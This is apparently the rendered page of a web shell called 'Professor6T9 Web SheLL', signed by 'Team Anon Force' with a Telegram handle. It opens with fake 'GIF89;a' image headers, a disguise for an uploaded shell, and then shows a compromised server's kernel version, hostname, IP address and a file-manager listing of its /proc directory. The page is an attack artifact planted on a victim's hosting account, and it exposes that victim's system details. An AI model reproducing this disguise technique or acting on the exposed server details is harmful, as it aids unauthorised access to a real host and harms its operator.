GIF89;aGIF89;aGIF89;a

Team Anon Force

https://t.me/Professor6T9x

Professor6T9 Web SheLL
 Linux das102.truehost.cloud 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
 LiteSpeed
 156.232.88.2
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2024-08-01 09:39:37
.. dir - root/root 0755 2024-08-09 02:43:23
159300 dir - lakevic2/lakevic2 0555 2026-02-18 08:43:15
4009835 dir - lakevic2/lakevic2 0555 2026-02-18 08:52:07
514125 dir - lakevic2/lakevic2 0555 2026-02-18 09:00:37
612485 dir - lakevic2/lakevic2 0555 2026-02-18 09:01:46
662228 dir - lakevic2/lakevic2 0555 2026-02-18 09:02:22
667547 dir - lakevic2/lakevic2 0555 2026-02-18 09:02:26
669967 dir - lakevic2/lakevic2 0555 2026-02-18 09:02:28
672410 dir - lakevic2/lakevic2 0555 2026-02-18 09:02:29
acpi dir - root/root 0555 2024-08-01 09:39:41
bus dir - root/root 0555 2024-08-01 09:39:47
driver dir - root/root 0555 2026-02-18 08:52:52
fs dir - root/root 0555 2024-08-01 09:39:47
irq dir - root/root 0555 2024-08-01 09:39:42
lve dir - root/root 0555 2026-02-18 08:43:20
net link - lakevic2/lakevic2 0555 2026-02-18 09:02:22
scsi dir - root/root 0555 2024-08-01 09:39:47
self link - lakevic2/lakevic2 0555 2026-02-18 09:00:37
sys dir - root/root 0555 2024-08-01 09:39:38
sysvipc dir - root/root 0555 2026-02-18 08:52:52
thread-self link - lakevic2/lakevic2 0555 2026-02-18 09:00:39
tty dir - root/root 0555 2026-02-18 08:44:26
buddyinfo 0 B root/root 0444 2026-02-18 08:52:52
cgroups 0 B root/root 0444 2026-02-18 08:55:47
cmdline text/plain 0 B root/root 0444 2026-02-18 08:43:34
consoles 0 B root/root 0444 2026-02-18 08:52:52
cpuinfo text/plain 0 B root/root 0444 2026-02-18 08:43:24
crypto 0 B root/root 0444 2026-02-18 08:52:52
devices 0 B root/root 0444 2026-02-18 08:48:05
diskstats 0 B root/root 0444 2026-02-18 08:43:20
dma 0 B root/root 0444 2026-02-18 08:52:52
execdomains 0 B root/root 0444 2026-02-18 08:52:52
fb 0 B root/root 0444 2026-02-18 08:52:52
filesystems text/plain 0 B root/root 0444 2026-02-18 08:55:47
interrupts 0 B root/root 0444 2026-02-18 08:55:11
iomem 0 B root/root 0444 2026-02-18 08:52:52
ioports 0 B root/root 0444 2026-02-18 08:52:52
kallsyms 0 B root/root 0444 2024-08-01 09:39:47
kcore 128 TB root/root 0400 2024-08-01 09:39:38
key-users 0 B root/root 0444 2026-02-18 08:52:52
keys 0 B root/root 0444 2026-02-18 08:52:52
kmsg 0 B root/root 0400 2026-02-18 08:52:52
kpagecgroup 0 B root/root 0400 2026-02-18 08:52:52
kpagecount 0 B root/root 0400 2026-02-18 08:52:52
kpageflags 0 B root/root 0400 2026-02-18 08:52:52
loadavg text/plain 0 B root/root 0444 2024-09-04 09:25:03
locks 0 B root/root 0444 2026-02-18 08:52:52
mdstat 0 B root/root 0444 2026-02-18 08:52:52
meminfo text/plain 0 B root/root 0444 2024-09-04 09:20:44
misc 0 B root/root 0444 2026-02-18 08:52:52
modules 0 B root/root 0444 2026-02-18 08:52:52
mounts text/plain 0 B lakevic2/lakevic2 0444 2026-02-18 09:02:22
mtrr 0 B root/root 0644 2024-08-01 09:39:47
pagetypeinfo 0 B root/root 0400 2026-02-18 08:52:52
partitions 0 B root/root 0444 2026-02-18 08:43:23
sched_debug 0 B root/root 0444 2026-02-18 08:52:52
schedstat 0 B root/root 0444 2026-02-18 08:52:52
slabinfo 0 B root/root 0400 2026-02-18 08:52:52
softirqs 0 B root/root 0444 2026-02-18 08:52:52
stat text/plain 0 B root/root 0444 2024-09-04 09:05:11
swaps 0 B root/root 0444 2024-08-01 09:39:38
sysrq-trigger 0 B root/root 0200 2024-08-01 09:39:47
timer_list 0 B root/root 0400 2026-02-18 08:52:52
uptime text/plain 0 B root/root 0444 2024-09-04 09:20:13
version text/plain 0 B root/root 0444 2026-02-18 08:43:21
vmallocinfo 0 B root/root 0400 2026-02-18 08:52:52
vmstat 0 B root/root 0444 2026-02-18 08:43:28
zoneinfo 0 B root/root 0444 2026-02-18 08:52:52
© Professor6T9